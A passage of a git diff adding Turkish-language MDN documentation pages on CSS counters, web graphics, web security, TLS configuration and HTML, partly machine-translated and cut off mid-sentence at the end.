2.3.3 --> + </ol> + </li> + <li>item</li> <!-- 2.4 --> + </ol> + </li> + <li>item</li> <!-- 3 --> + <li>item</li> <!-- 4 --> +</ol> +<ol> + <li>item</li> <!-- 1 --> + <li>item</li> <!-- 2 --> +</ol></pre> +<p>Yields this result:</p> +<p>{{ EmbedLiveSample('Nesting_counters',400,'100%') }}</p> +<h2 id="Specifications" name="Specifications">Specifications</h2> +<table class="standard-table"> + <thead> + <tr> + <th scope="col">Specification</th> + <th scope="col">Status</th> + <th scope="col">Comment</th> + </tr> + </thead> + <tbody> + <tr> + <td>{{SpecName('CSS2.1', 'generate.html#generate.html#counters', 'counter-reset')}}</td> + <td>{{Spec2('CSS2.1')}}</td> + <td> </td> + </tr> + </tbody> +</table> +<h2 id="See_also" name="See_also">See also</h2> +<ul> + <li><a href="/en-US/docs/CSS/counter-reset" title="CSS/counter-reset">counter-reset</a></li> + <li><a href="/en-US/docs/CSS/counter-increment" title="CSS/counter-increment">counter-increment</a></li> +</ul> +<p><em>There is an additional example available at <a class="external" href="http://www.mezzoblue.com/archives/2006/11/01/counter_intu/" rel="freelink">http://www.mezzoblue.com/archives/20.../counter_intu/</a>. This blog entry was posted on November 01, 2006, but appears to be accurate.</em></p> +<p> </p> diff --git a/files/tr/web/guide/index.html b/files/tr/web/guide/index.html new file mode 100644 index 0000000000..ca1aeaaa1c --- /dev/null +++ b/files/tr/web/guide/index.html @@ -0,0 +1,29 @@ +--- +title: Geliştirici kılavuzları +slug: Web/Guide +tags: + - Guide + - Landing + - NeedsTranslation + - TopicStub + - Web +translation_of: Web/Guide +--- +<p><font><font>Bu makaleler belirli teknolojileri ve API'ler faydalanmak nasıl yapılır yardımına bilgi sağlarlar.</font></font></p> + +<div class="note"> +<p><strong><font><font>Not:</font></font></strong><font><font> Bu sayfa, içeriği göç tamamlayana kadar bir süre için bir karışıklık olacak. </font><font>Özürlerimizi!</font></font></p> +</div> + +<div><font><font><font><font>{{LandingPageListSubpages}}</font></font></font></font></div> + +<dl> + <dt><a href="/en-US/docs/JavaScript" title="/ Tr-TR / docs / JavaScript"><font><font><font><font>JavaScript</font></font></font></font></a></dt> + <dd><font><font>JavaScript Web için uygulamalar oluşturmak için kullanılan güçlü bir betik dilidir.</font></font></dd> +</dl> + +<h2 id="Ayrıca_bakınız"><font><font>Ayrıca bakınız</font></font></h2> + +<ul> + <li><a href="/en-US/docs/Web/Reference" title="/ Tr-TR / docs / Web / Referans"><font><font>Web Geliştirici Başvurusu</font></font></a></li> +</ul> diff --git a/files/tr/web/guide/çizgeler/index.html b/files/tr/web/guide/çizgeler/index.html new file mode 100644 index 0000000000..c72c02d2b5 --- /dev/null +++ b/files/tr/web/guide/çizgeler/index.html @@ -0,0 +1,53 @@ +--- +title: Web Çizgeleri +slug: Web/Guide/Çizgeler +tags: + - 2B + - 3B + - Canvas + - Gerçek Zamanlı İletişim + - HTML5 + - SVG + - Tuval + - Web Grafik + - Web Çizgeleri + - WebGL + - WebRTC + - Çizge + - Ölçeklenebilir Görüntü +translation_of: Web/Guide/Graphics +--- +<p><span class="seoSummary">Web siteleri ve uygulamaların bazen çizge göstermeleri gerekir.Durağan görseller {{HTMLElement("img")}} ögesi kullanılarak kolayca gösterilebilir, ya da ögenin ardalan görseli CSS {{cssxref("background-image")}} özelliğiyle belirlenebilir.</span> Oluşturulmuş çizgelerin üzerinde de anlık oynamalar yapabilirsiniz. <span class="seoSummary">Buradaki gönderiler sizler bunları nasıl yapacağınızı anlatır.</span></p> + +<div class="row topicpage-table"> +<div class="section"> +<h2 class="Documentation" id="2B_Çizgeler">2B Çizgeler</h2> + +<dl> + <dt><a href="/tr/docs/Web/API/Tuval_Arabirimi">Canvas(Tuval)</a></dt> + <dd>{{HTMLElement("canvas")}} adlı HTML ögesi JavaScript ile 2 Boyutlu çizgeler oluşturabilmeniz için arabirim sunar.</dd> + <dt><a href="/en-US/docs/Web/SVG">SVG</a></dt> + <dd>Scalable Vector Graphics (Ölçeklenebilir Vektör Çizgeleri); çizge işlemeniz için, çizgi, kıvrım, dikdörtgen gibi geometrik biçimleri kullanabilmenizi sağlar. Vektörel çizim ile herhangi bir ölçekte temiz görüntüler elde edebilirsiniz.</dd> +</dl> + +<p><span class="alllinks"><a href="/en-US/docs/tag/Graphics">Tümünü Görüntüle...</a></span></p> +</div> + +<div class="section"> +<h2 class="Documentation" id="3B_Çizgeler">3B Çizgeler</h2> + +<dl> + <dt><a href="/en-US/docs/Web/WebGL">WebGL</a></dt> + <dd>Web'in 3 Boyutlu çizge arabirimi WEBGL'e başlamak için bir kılavuz. Bu uygu(teknoloji) web üzerinde OpenGL kullanmanıza olanak tanır.</dd> +</dl> + +<h2 id="Video">Video</h2> + +<dl> + <dt><a href="/en-US/docs/Web/Guide/HTML/Using_HTML5_audio_and_video">HTML5 izleti ve sesleri kullanmak</a></dt> + <dd>Bir web sayfasına izleti ya da ses gömüp oynatımını denetlemek.</dd> + <dt><a href="/en-US/docs/WebRTC">WebRTC</a></dt> + <dd>WebRTC'deki RTC Gerçek Zamanlı İletişim anlamına gelir. Bu uygu(teknoloji) tarayıcı istemcileri arasında anlık olarak görüntü ve ses akışına ve veri paylaşımına olanak tanır.</dd> +</dl> +</div> +</div> diff --git a/files/tr/web/güvenlik/index.html b/files/tr/web/güvenlik/index.html new file mode 100644 index 0000000000..1543d6a3db --- /dev/null +++ b/files/tr/web/güvenlik/index.html @@ -0,0 +1,16 @@ +--- +title: Web güvenliği +slug: Web/Güvenlik +tags: + - Güvenlik + - Landing + - Web +translation_of: Web/Security +--- +<div class="summary"> +<p><span class="seoSummary">Websitenizin ya da uygulamanızın güvenliğini garantiye almak çok önemli. Küçük hatalar bile gizli verilerin sızmasına sebep olabilir ve dışarıdaki kötü niyetliler, verilerinizi çalmanın yollarını arıyorlar. Bu makaleler kodunuzu daha güvenli hale getirmeniz için size yardımcı olabilir.</span></p> +</div> + +<p>{{LandingPageListSubpages}}</p> + +<p>{{QuickLinksWithSubpages}}</p> diff --git a/files/tr/web/güvenlik/transport_layer_security/index.html b/files/tr/web/güvenlik/transport_layer_security/index.html new file mode 100644 index 0000000000..5ba269b7cc --- /dev/null +++ b/files/tr/web/güvenlik/transport_layer_security/index.html @@ -0,0 +1,115 @@ +--- +title: Transport Layer Security +slug: Web/Güvenlik/Transport_Layer_Security +translation_of: Web/Security/Transport_Layer_Security +--- +<p><span class="seoSummary"><font><font>Aktarım Katmanı Güvenliği (TLS) kullanan herhangi bir bağlantının güvenliği büyük ölçüde seçilen şifre paketlerine ve seçilen güvenlik parametrelerine bağlıdır. </font><font>Bu makalenin amacı, istemci ve sunucu arasındaki gizlilik ve bütünlük iletişimini sağlamak için bu kararları almanıza yardımcı olmaktır. </font></font></span><font><font>Mozilla Operasyon Güvenliği (OpSec) ekibi </font><font>, sunucular için referans yapılandırmaları olan </font></font><a href="https://wiki.mozilla.org/Security/Server_Side_TLS"><font><font>bir wiki girişi tutar</font></font></a><font><font> .</font></font></p> + +<p class="summary"><font><font>Aktarım Katmanı Güvenliği (TLS) protokolü, iki ağa bağlı uygulamanın veya cihazın özel ve sağlam bir şekilde bilgi alışverişi yapmalarını sağlayan standarttır. </font><font>TLS kullanan uygulamalar, verilerin güvenliği ve güvenilirliği üzerinde önemli bir etkisi olabilecek güvenlik parametrelerini seçebilir. </font><font>Bu makale, TLS'ye ve içeriğinizi güvenceye alırken vermeniz gereken kararlara genel bir bakış sunmaktadır.</font></font></p> + +<h2 id="Tarih"><font><font>Tarih</font></font></h2> + +<p><font><font>HTTPS tanıtıldığında, Netscape tarafından sunulan bir teknoloji olan Güvenli Yuva Katmanı (SSL) 2.0'a dayanıyordu. </font><font>Kısa bir süre sonra SSL 3.0'a güncellendi ve kullanımı genişledikçe, tüm web tarayıcıları ve sunucular arasında birlikte çalışabilirliği sağlamak için ortak, standart bir şifreleme teknolojisinin belirtilmesi gerektiği anlaşıldı. </font></font><a href="https://www.ietf.org/"><font><font>Internet Engineering Task Force</font></font></a><font><font> (IETF) 'de TLS 1.0 belirtilmiş {{RFC (2246)}} Ocak 1999 yılında TLS mevcut sürümü olan 1.3 ({{RFC (8446)}}).</font></font></p> + +<div class="note"> +<p>Despite the fact that the web now uses TLS for encryption, many people still refer to it as "SSL" out of habit.</p> +</div> + +<p>Although TLS can be used on top of any low-level transport protocol, the original goal of the protocol was to encrypt HTTP traffic. HTTP encrypted using TLS is commonly referred to as {{Glossary("HTTPS")}}. TLS-encrypted web traffic is by convention exchanged on port 443 by default, while unencrypted HTTP uses port 80 by default. HTTPS remains an important use case for TLS.</p> + +<h2 id="HTTP_over_TLS">HTTP over TLS</h2> + +<p>TLS provides three primary services that help ensure the safety and security of data exchanged with it:</p> + +<dl> + <dt>Authentication</dt> + <dd>Authentication lets each party to the communication verify that the other party is who they claim to be.</dd> + <dt>Encryption</dt> + <dd>Data is encrypted while being transmitted between the user agent and the server, in order to prevent it from being read and interpreted by unauthorized parties.</dd> + <dt>Integrity</dt> + <dd>TLS ensures that between encrypting, transmitting, and decrypting the data, no information is lost, damaged, tampered with, or falsified.</dd> +</dl> + +<p>A TLS connection starts with a handshake phase where a client and server agree on a shared secret and important parameters, like cipher suites, are negotiated. Once parameters and a data exchange mode where application data, such HTTP, is exchanged.</p> + +<h3 id="Cipher_suites">Cipher suites</h3> + +<p>The primary parameters that the TLS handshake negotiates is a {{interwiki("wikipedia", "cipher suite")}}.</p> + +<p>In TLS 1.2 and earlier, the negotiated cipher suite includes a set of cryptographic algorithms that together provide the negotiation of the shared secret, the means by which a server is authenticated, and the method that will be used to encrypt data.</p> + +<p>The cipher suite in TLS 1.3 primarily governs the encryption of data, separate negotiation methods are used for key agreement and authentication.</p> + +<p>Different software might use different names for the same cipher suites. For instance, the names used in OpenSSL and GnuTLS differ from those in the TLS standards. The <a href="https://wiki.mozilla.org/Security/Server_Side_TLS#Cipher_names_correspondence_table">cipher names correspondence table</a> on the Mozilla OpSec team's article on TLS configurations lists these names as well as information about compatibility and security levels.</p> + +<h3 id="Configuring_your_server">Configuring your server</h3> + +<p>Correctly configuring your server is crucial. In general, you should try to limit cipher support to the newest ciphers possible which are compatible with the browsers you want to be able to connect to your site. The <a href="https://wiki.mozilla.org/Security/Server_Side_TLS">Mozilla OpSec guide to TLS configurations</a> provides more information on recommended configurations.</p> + +<p>To assist you in configuring your site, Mozilla provides a helpful <a href="https://mozilla.github.io/server-side-tls/ssl-config-generator/">TLS configuration generator</a> that will generate configuration files for the following Web servers:</p> + +<ul> + <li>Apache</li> + <li>Nginx</li> + <li>Lighttpd</li> + <li>HAProxy</li> + <li>Amazon Web Services CloudFormation Elastic Load Balancer</li> +</ul> + +<p>Using the <a href="https://mozilla.github.io/server-side-tls/ssl-config-generator/">configurator</a> is a recommended way to create the configuration to meet your needs; then copy and paste it into the appropriate file on your server and restart the server to pick up the changes. The configuration file may need some adjustments to include custom settings, so be sure to review the generated configuration before using it; installing the configuration file without ensuring any references to domain names and the like are correct will result in a server that just doesn't work.</p> + +<h2 id="TLS_1.3">TLS 1.3</h2> + +<p>{{RFC("8446", "TLS 1.3")}} is a major revision to TLS. TLS 1.3 includes numerous changes that improve security and performance. The goals of TLS 1.3 are:</p> + +<ul> + <li>Remove unused and unsafe features of TLS 1.2.</li> + <li>Include strong security analysis in the design.</li> + <li>Improve privacy by encrypting more of the protocol.</li> + <li>Reduce the time needed to complete a handshake.</li> +</ul> + +<p>TLS 1.3 changes much of the protocol fundamentals, but preserves almost all of the basic capabilities as previous versions of TLS. For the web, TLS 1.3 can be enabled without affecting compatibility with some rare exceptions (see below).</p> + +<p>The major changes in TLS 1.3 are:</p> + +<ul> + <li>The TLS 1.3 handshake completes in one round trip in most cases, reducing handshake latency.</li> + <li>A server can enable a 0-RTT (zero round trip time) handshake. Clients that reconnect to the server can send requests immediately, eliminating the latency of the TLS handshake entirely. Though the performance gains from 0-RTT can be significant, they come with some risk of replay attack, so some care is needed before enabling this feature.</li> + <li>TLS 1.3 supports forward-secure modes only, unless the connection is resumed or it uses a pre-shared key.</li> + <li>TLS 1.3 defines a new set of cipher suites that are exclusive to TLS 1.3. These cipher suites all use modern Authenticated Encryption with Associated Data (AEAD) algorithms.</li> + <li>The TLS 1.3 handshake is encrypted, except for the messages that are necessary to establish a shared secret. In particular, this means that server and client certificates are encrypted. Note however that the server identity (the server_name or SNI extension) that a client sends to the server is not encrypted.</li> + <li>Numerous mechanisms have been disabled: renegotiation, generic data compression, {{interwiki("wikipedia", "Digital Signature Algorithm")}} (DSA) certificates, static RSA key exchange, and key exchange with custom Diffie-Hellman (DH) groups.</li> +</ul> + +<p>Implementations of draft versions of TLS 1.3 are available. TLS 1.3 is enabled in some browsers, including the 0-RTT mode. Web servers that enable TLS 1.3 might need to adjust configuration to allow TLS 1.3 to operate successfully.</p> + +<p>TLS 1.3 adds just one significant new use case. The 0-RTT handshake can provide significant performance gains for latency sensitive applications, like the web. Enabling 0-RTT requires additional steps, both to ensure successful deployment and to manage the risks of replay attacks.</p> + +<p>The removal of renegotiation in TLS 1.3 might affect some web servers that rely on client authentication using certificates. Some web servers use renegotiation to either ensure that client certificates are encrypted, or to request client certificates only when certain resources are requested. For the privacy of client certificates, the encryption of the TLS 1.3 handshake ensures that client certificates are encrypted; however this might require some software changes. Reactive client authentication using certificates is supported by TLS 1.3 but not widely implemented. Alternative mechanisms are in the process of being developed, which will also support HTTP/2.</p> + +<h2 id="Retiring_old_TLS_versions">Retiring old TLS versions</h2> + +<p><font><font>Daha modern, daha güvenli bir web üzerinde çalışmanıza yardımcı olmak için, TLS 1.0 ve 1.1 desteği, 201'in ikinci çeyreğindeki tüm büyük tarayıcılardan kaldırılacaktır </font></font><strong> </strong><font><font>. Web sunucunuzun, ileride TLS 1.2 veya 1.3'ü desteklediğinden emin olmanız gerekir.</font></font></p> + +<p><font><font>74 sürümünden itibaren Firefox </font><font>, eski TLS sürümlerini ({{bug (1606734)}}) kullanan sunuculara bağlanırken </font></font><a href="https://support.mozilla.org/en-US/kb/secure-connection-failed-firefox-did-not-connect"><font><font>Güvenli Bağlantı Başarısız</font></font></a><font><font> hatası döndürecektir.</font></font></p> + +<h2 id="TLS_el_sıkışma_zaman_aşımı_değerleri"><font><font>TLS el sıkışma zaman aşımı değerleri</font></font></h2> + +<p><font><font>TLS anlaşması bir sebepten dolayı yavaşlamaya veya yanıt vermemeye başlarsa, kullanıcının deneyimi önemli ölçüde etkilenebilir. </font><font>Bu sorunu hafifletmek için, modern tarayıcılar el sıkışma zaman aşımlarını uygulamıştır:</font></font></p> + +<ul> + <li><font><font>Sürüm 58'den bu yana, Firefox varsayılan değer olan 30 saniyelik bir TLS el sıkışma zaman aşımı uygular. </font><font>Zaman aşımı değeri </font></font><code>network.http.tls-handshake-timeout</code><font><font>pref: about: config düzenlenerek değiştirilebilir.</font></font></li> +</ul> + +<h2 id="Ayrıca_bakınız"><font><font>Ayrıca bakınız</font></font></h2> + +<ul> + <li><a href="https://ssl-config.mozilla.org"><font><font>Mozilla SSL Yapılandırma Jeneratör</font></font></a><font><font> ve </font></font><a href="https://cipherli.st/"><font><font>Cipherli.st</font></font></a><font><font> sitenizi güven altına almak için sunucu için yapılandırma dosyaları oluşturulmasına yardımcı olabilir.</font></font></li> + <li><font><font>Mozilla Operasyon Güvenliği (OpSec) ekibi </font></font><a href="https://wiki.mozilla.org/Security/Server_Side_TLS"><font><font>referans TLS yapılandırmalarına</font></font></a><font><font> sahip bir wiki sayfası tutar </font><font>.</font></font></li> + <li><a href="https://observatory.mozilla.org/"><font><font>Mozilla Gözlemevi</font></font></a><font><font> , </font></font><a href="https://www.ssllabs.com/ssltest/"><font><font>SSL Labs</font></font></a><font><font> ve </font></font><a href="https://github.com/mozilla/cipherscan"><font><font>Cipherscan</font></font></a><font><font> , bir siteyi TLS yapılandırmasının ne kadar güvenli olduğunu görmek için test etmenize yardımcı olabilir.</font></font></li> + <li><a href="/en-US/docs/Web/Security/Secure_Contexts"><font><font>Güvenli Bağlamlar</font></font></a></li> + <li><a href="/en-US/docs/Web/HTTP/Headers/Strict-Transport-Security"><font><font>Strict-Transport-Security</font></font></a><font><font> HTTP üstbilgisi</font></font></li> +</ul> + +<p><font><font>{{QuickLinksWithSubpages ( "/ tr / docs / Web / Güvenlik")}}</font></font></p> diff --git a/files/tr/web/html-alani/index.html b/files/tr/web/html-alani/index.html new file mode 100644 index 0000000000..06153ac1c1 --- /dev/null +++ b/files/tr/web/html-alani/index.html @@ -0,0 +1,103 @@ +--- +title: 'HTML: Hypertext Markup Language' +slug: Web/HTML-Alani +tags: + - HTML + - HTML5 + - Web +--- +<div>{{HTMLSidebar}}</div> + +<p class="summary"><span class="seoSummary"><strong>HTML</strong><span class="tlid-translation translation" lang="tr"><span title=""> (HyperText Markup Language), Web’in en temel yapı taşıdır.</span> <span title="">Web içeriğinin anlamını ve yapısını tanımlar.</span> <span title="">HTML dışındaki diğer teknolojiler genellikle bir web sayfasının görünümünü / sunumunu (<a href="/tr/docs/Web/CSS">CSS</a>) veya işlevselliğini / davranışını (<a href="/tr/docs/Web/JavaScript">JavaScript</a>) tanımlamak için kullanılır.</span></span></span></p> + +<p>"HyperText" (köprü metni, üst metin, hiper metin olarak da bilinir), web sayfalarını tek bir web sitesi içinde veya web siteleri arasında birbirine bağlayan bağlantıları ifade eder. Bağlantılar, Web'in temel bir özelliğidir. İnternete içerik yükleyerek ve başkaları tarafından oluşturulan sayfalara bağlayarak, World Wide Web’de aktif bir katılımcı olursunuz.</p> + +<p>HTML, bir Web tarayıcısında görüntülenmek üzere metin, resim ve diğer içerikleri tanımlamak için "işaretlemeyi" (markup) kullanır.</p> + +<p>HTML işaretlemesi {{HTMLElement("head")}}, {{HTMLElement("title")}}, {{HTMLElement("body")}}, {{HTMLElement("header")}}, {{HTMLElement("footer")}}, {{HTMLElement("article")}}, {{HTMLElement("section")}}, {{HTMLElement("p")}}, {{HTMLElement("div")}}, {{HTMLElement("span")}}, {{HTMLElement("img")}}, {{HTMLElement("aside")}}, {{HTMLElement("audio")}}, {{HTMLElement("canvas")}}, {{HTMLElement("datalist")}}, {{HTMLElement("details")}}, {{HTMLElement("embed")}}, {{HTMLElement("nav")}}, {{HTMLElement("output")}}, {{HTMLElement("progress")}}, {{HTMLElement("video")}}, {{HTMLElement("ul")}}, {{HTMLElement("ol")}}, {{HTMLElement("li")}} gibi birçok özel "element" içerir.</p> + +<p>Bir HTML elementi, bir belgedeki diğer metinden "<" ve ">" ile çevrelenmiş element adından oluşan "etiketler" ile ayrılır. Bir etiket içindeki bir elementin adı büyük / küçük harf duyarsızdır. Yani, büyük harf, küçük harf veya karışım şeklinde yazılabilir. Örneğin, <code><title></code> etiketi <code><Title></code>, <code><TITLE></code> veya başka bir şekilde yazılabilir.</p> + +<p>Aşağıdaki makaleler HTML hakkında daha fazla bilgi edinmenizi sağlayabilir.</p> + +<section class="cleared" id="sect1"> +<ul class="card-grid"> + <li><span>HTML'e Giriş</span> + + <p>Web geliştirmede yeniyseniz, HTML'nin ne olduğunu ve nasıl kullanılacağını öğrenmek için <a href="/en-US/docs/Learn/Getting_started_with_the_web/HTML_basics">HTML Temelleri</a> makalemizi mutlaka okuyun.</p> + </li> + <li><span>HTML Dersleri</span> + <p>HTML'nin yanı sıra dersler ve örneklerin kullanımı hakkında makaleler için, <a href="/en-US/docs/Learn/HTML">HTML Öğrenme Alanı</a>'nı inceleyin..</p> + </li> + <li><span>HTML Öğelerinin Açıklamaları</span> + <p><a href="/en-US/docs/Web/HTML/Reference">Genişletilmiş HTML örnekleri </a>bölümümüzde, HTML'deki her element ve özellik hakkındaki ayrıntıları bulacaksınız.</p> + </li> +</ul> + +<div class="row topicpage-table"> +<div class="section"> +<h2 class="Tools" id="Temel_Düzey_Dersleri">Temel Düzey Dersleri</h2> + +<p><a href="/en-US/docs/Learn/HTML">HTML Ögrenme Alanımız</a> HTML hakkında hiçbir önbilgi sahibi olmanızı gerektirmeksizin en temelden başlayarak anlatan modüller bulundurmaktadır.</p> + +<dl> + <dt><a href="/en-US/docs/Learn/HTML/Introduction_to_HTML">HTML'e Giriş </a></dt> + <dd>Bu modül, sizi köprüler (linkler) oluşturma ve bir web sayfasını yapılandırmak için HTML'in nasıl kullanılabileceği gibi önemli kavramlara ve sözdizimine alıştırarak temel oluşturur.</dd> + <dt><a href="/en-US/docs/Learn/HTML/Multimedia_and_embedding">Multimedia ekleme ve gömme (embed etme) İşlemleri</a></dt> + <dd>Bu modül, bir HTML sayfasına multimedia içeriklerin birkaç farklı yol ile nasıl dahil edileceği, videoların, ses dosyalarının ve hatta bir web sayfasının tamamımının bir HTML sayfasına nasıl gömülebileceğini keşfetmenizi sağlar.</dd> + <dt><a href="/en-US/docs/Learn/HTML/Tables">HTML tabloları</a></dt> + <dd>Bir web sayfasındaki tablo verilerini anlaşılabilir, erişilebilir bir şekilde göstermek zor olabilir. Bu modül, temel tablo elementlerinden {{HTMLElement("caption")}} ve {{HTMLElement("summary")}} gibi daha ileri özelliklere kadar bilgileri kapsar.</dd> + <dt><a href="/en-US/docs/Learn/HTML/Forms">HTML formları</a></dt> + <dd>Formlar, Web’in çok önemli bir parçasıdır - kaydolma ve giriş yapma, geri bildirim gönderme, ürün satın alma gibi web siteleriyle etkileşimde bulunmak için ihtiyacınız olan işlevselliğin çoğunu sağlar. Bu modül, formların istemci tarafı / front-end kısımlarını oluşturmaya başlamanızı sağlar.</dd> + <dt><a href="/en-US/docs/Learn/HTML/Howto">Yaygın HTML problemlerinin çözümleri</a></dt> + <dd>Bir web sayfası oluştururken sık karşılaşılan HTML sorunlarının nasıl çözülebileceğini açıklayan içerik bölümlerine bağlantılar sağlar: başlıklarla çalışmak, resimler veya videolar eklemek, içeriği vurgulamak, temel bir form oluşturmak, vb.</dd> +</dl> + +<h2 id="İleri_Düzey_Konular">İleri Düzey Konular</h2> + +<dl> + <dt class="landingPageList"><a href="/en-US/docs/Web/HTML/CORS_enabled_image">CORS olarak etkinleştirilmiş resim</a></dt> + <dd class="landingPageList">{{htmlattrxref("crossorigin", "img")}} özelliği, uygun bir {{glossary("CORS")}} üstbilgisiyle birlikte, {{HTMLElement("img")}} elementi tarafından tanımlanan görüntülerin yabancı kaynaklardan yüklenmesini ve bir {{HTMLElement("canvas")}} elemanında mevcut orijinden yüklenmiş gibi kullanılmasını sağlar.</dd> + <dt class="landingPageList"><a href="/en-US/docs/Web/HTML/CORS_settings_attributes">CORS </a><a href="/en-US/docs/Web/HTML/CORS_settings_attributes">ayarları özellikleri</a></dt> + <dd class="landingPageList">{{HTMLElement("img")}} veya {{HTMLElement("video")}} gibi <a href="/en-US/docs/HTTP/Access_control_CORS">CORS</a> desteği sağlayan bazı HTML öğelerinde, öğenin getirilen verileri için CORS isteklerini yapılandırmanıza izin veren bir <code>crossorigin</code> özelliği (<code>crossOrigin</code> özelliği) bulunur.</dd> + <dt class="landingPageList"><a href="/en-US/docs/Web/HTML/Focus_management_in_HTML">HTML'de Focus yönetimi</a></dt> + <dd><code><a href="/en-US/docs/Web/API/Document/activeElement">activeElement</a></code> DOM özelliği ve <code><a href="/en-US/docs/Web/API/Document/hasFocus">hasFocus()</a></code> DOM metodu bir kullanıcınin bir web sayfasindaki elementlerle etkileşimlerini izlemenize ve kontrol etmenize yardımcı olur.</dd> + <dt class="landingPageList"><a href="/en-US/docs/Web/HTML/Preloading_content">rel="preload" ile içeriği önceden yükleme</a></dt> + <dd class="landingPageList">{{htmlelement("link")}} elementinin <code>preload</code> değerinin {{htmlattrxref("rel", "link")}} özelliği HTML’nizin {{htmlelement("head")}} bölümüne web tarayıcısının sayfayı ilk gösterime hazırlamasından önce, sayfa ilk görüntülendiğinde görünecek olan bölümlerin istenildiği gibi gösterilebilmesi için ihtiyaç duyacağı kaynakları sayfa yüklenmeye ilk başladığında getirmesi için isteklerinizi yazmanıza olanak tanır. Bu, daha önceden kullanılabilir olmalarını sağlar ve sayfanın ilk oluşturma işlemini engelleme olasılığının daha düşük olmasını sağlar ve bu da performans iyileştirmeleri sağlar. Bu makale, önyüklemenin nasıl çalıştığı hakkında temel bir rehberdir.</dd> +</dl> +</div> + +<div class="section"> +<h2 class="Documentation" id="HTML_öğeleri">HTML öğeleri</h2> + +<dl> + <dt class="landingPageList"><a href="/en-US/docs/Web/HTML/Reference">HTML öğeleri</a></dt> + <dd class="landingPageList">HTML, her biri belirli sayıda <strong>özellik (attribute)</strong> tarafından özelleştirilebilen <strong>elementlerden (HTML elementi)</strong> oluşur. HTML belgeleri birbirine <a href="/en-US/docs/Web/HTML/Link_types">linkler</a> ile bağlanır.</dd> + <dt class="landingPageList"><a href="/en-US/docs/Web/HTML/Element">HTML elementleri</a></dt> + <dd class="landingPageList">Tüm {{glossary("HTML")}} {{glossary("Element", "element")}} 'lerinin yer aldığı listeye göz at!</dd> + <dt class="landingPageList"><a href="/en-US/docs/Web/HTML/Attributes">HTML özellikleri (attribute)</a></dt> + <dd class="landingPageList">HTML elementleri özelliklere sahiptirler. Bu özellikler farklı yollarla elementlerin davranışlarını belirler.</dd> + <dt class="landingPageList"><a href="/en-US/docs/Web/HTML/Global_attributes">Global özellikler (attributes)</a></dt> + <dd class="landingPageList">Global özellikler <em>standart olmayan elementler dahil</em> tüm HTML elementlerini belirler.<em> </em>Bu HTML5 ile uyumlu olmayan bir belge olsa dahi tum elementleri belirtebileceği anlamına gelir.</dd> + <dt class="landingPageList"><a href="/en-US/docs/Web/HTML/Inline_elements">Inline elementler</a> ve <a href="/en-US/docs/Web/HTML/Block-level_elements">block-level elementler</a></dt> + <dd class="landingPageList">HTML elementleri genelde "inline" (satıriçi) veya "block-level" (blok düzeyli) elementlerdir. Bir inline element yalnızca onu tanımlayan etiketlerle sınırlanan alan kadar yer kaplar. Bir block-level element bir "blok" oluşturarak bir ust elementinin tumunu kaplar.</dd> + <dt class="landingPageList"><a href="/en-US/docs/Web/HTML/Link_types">Link tipleri</a></dt> + <dd class="landingPageList">HTML'de, iki doküman arasında bağlantılar birçok farklı link tipi ile kurulabilir. Link elementleri {{HTMLElement("a")}}, {{HTMLElement("area")}} and {{HTMLElement("link")}} ile oluşturulabilir.</dd> + <dt class="landingPageList"><a href="/en-US/docs/Web/HTML/Supported_media_formats">HTML audio ve video elementleri tarafından desteklenen media formatları</a></dt> + <dd class="landingPageList">{{HTMLElement("audio")}} ve {{HTMLElement("video")}} elementleri audio ve video dosyaları oynatmanıza izin verir. Bu elementler Adobe Flash ve eklentilere alternatif olarak tarayıcıya özgü oynatıcılar sunar.</dd> + <dt class="landingPageList"><a href="/en-US/docs/Web/HTML/Kinds_of_HTML_content">HTML içeriğinin çeşitleri</a></dt> + <dd class="landingPageList">HTML, her biri belirli bağlamlarda kullanılmasına izin verilen ve başkalarına izin verilmeyen çeşitli içerik türlerinden oluşur. Benzer şekilde, her biri içerebilecekleri başka içerik kategorilerine ve içinde kullanılabilecek veya kullanılamayacak öğelere sahiptir. Bu, bu kategoriler için bir rehberdir.</dd> + <dt class="landingPageList"></dt> + <dt class="landingPageList"><a href="/en-US/docs/Web/HTML/Quirks_Mode_and_Standards_Mode">Quirks mod(garip mod) and standard mod</a></dt> + <dd class="landingPageList">Quirk mod and standard mod hakkında tarihi bilgiler.</dd> +</dl> + +<h2 class="landingPageList" id="İlgili_Konular">İlgili Konular</h2> + +<dl> + <dt><a href="/en-US/docs/Web/HTML/Applying_color">HTML elementlerini CSS kullanarak renklendirmek</a></dt> + <dd>Bu makale HTML içeriklerine CSS kullanarak renk eklemek için kullanılan çoğu yolu kapsamaktadır. Renklendirilebilecek HTML elementlerini ve bu elementleri hangi CSS özellikleri kullanılarak renklendirilebileceğini gösterir. Örnekler, renk palet araçlarının linkleri ve daha fazlası burada.</dd> +</dl> +</div> +</div> +<span class="alllinks"><a href="/en-US/docs/tag/HTML">Tümünü Görüntüle...</a></span></section> diff --git a/files/tr/web/html/html5/index.html b/files/tr/web/html/html5/index.html new file mode 100644 index 0000000000..d4ab791219 --- /dev/null +++ b/files/tr/web/html/html5/index.html @@ -0,0 +1,254 @@ +--- +title: HTML5 +slug: Web/HTML/HTML5 +tags: + - HTML + - HTML5 + - html kaynak + - html5 firefox + - html5 kaynak + - html5 komutlar + - html5 mozilla + - html5 nedir + - html5 türkçe + - html5 türkçe açıklama + - web geliştirici +translation_of: Web/Guide/HTML/HTML5 +--- +<p><span class="seoSummary"><strong>HTML5</strong> , html standartlarının son halidir. Anlam olarak iki farklı kavramı temsil eder:</span></p> + +<ul> + <li>Yeni elemanları, özellikleri ve davranışları içeren bir HTML sürümünü,</li> + <li>Çok güçlü ve farklı Web siteleri ve uygulamalarını kapsayan çok büyük bir teknoloji kümesini ki HTML5 olarak kısaltılmış olup HTML5 ve elemanları diye bilinir.</li> +</ul> + +<p>Tüm web geliştiriciler için kullanılabilir olmasına yönelik tasarlanmış olup; bu referans sayfası, fonksiyonlarına göre çeşitli sınıflara ayrılmış HTML5 teknolojileri hakkında bağlantıları barındırır, bunlar:</p> + +<ul> + <li><em><strong>Semantics (Kurgulama Durumu)</strong></em><strong>:</strong> İçeriğinizi daha iyi tanımlamanıza<strong>,</strong></li> + <li><strong><em>Connectivity (Bağlantı Durumu)</em>:</strong> Sunucuya yeni ve yenilikçi yollarla bağlanmanıza,</li> + <li><strong><em>Offline & Storage (Çevrimdışılık ve Depolama Durumu)</em>:</strong> Web sayfalarının yerel sunucuda veri depolamasına ve çevrimdişı daha verimli kullanılmasına,</li> + <li><em><strong>Multimedia (Çoklumedya)</strong></em><strong>:</strong> Open Web ile 1. sınıf programcılar, video ve ses üretmesine, </li> + <li><em><strong>2D/3D Graphics & Effects (2 ve 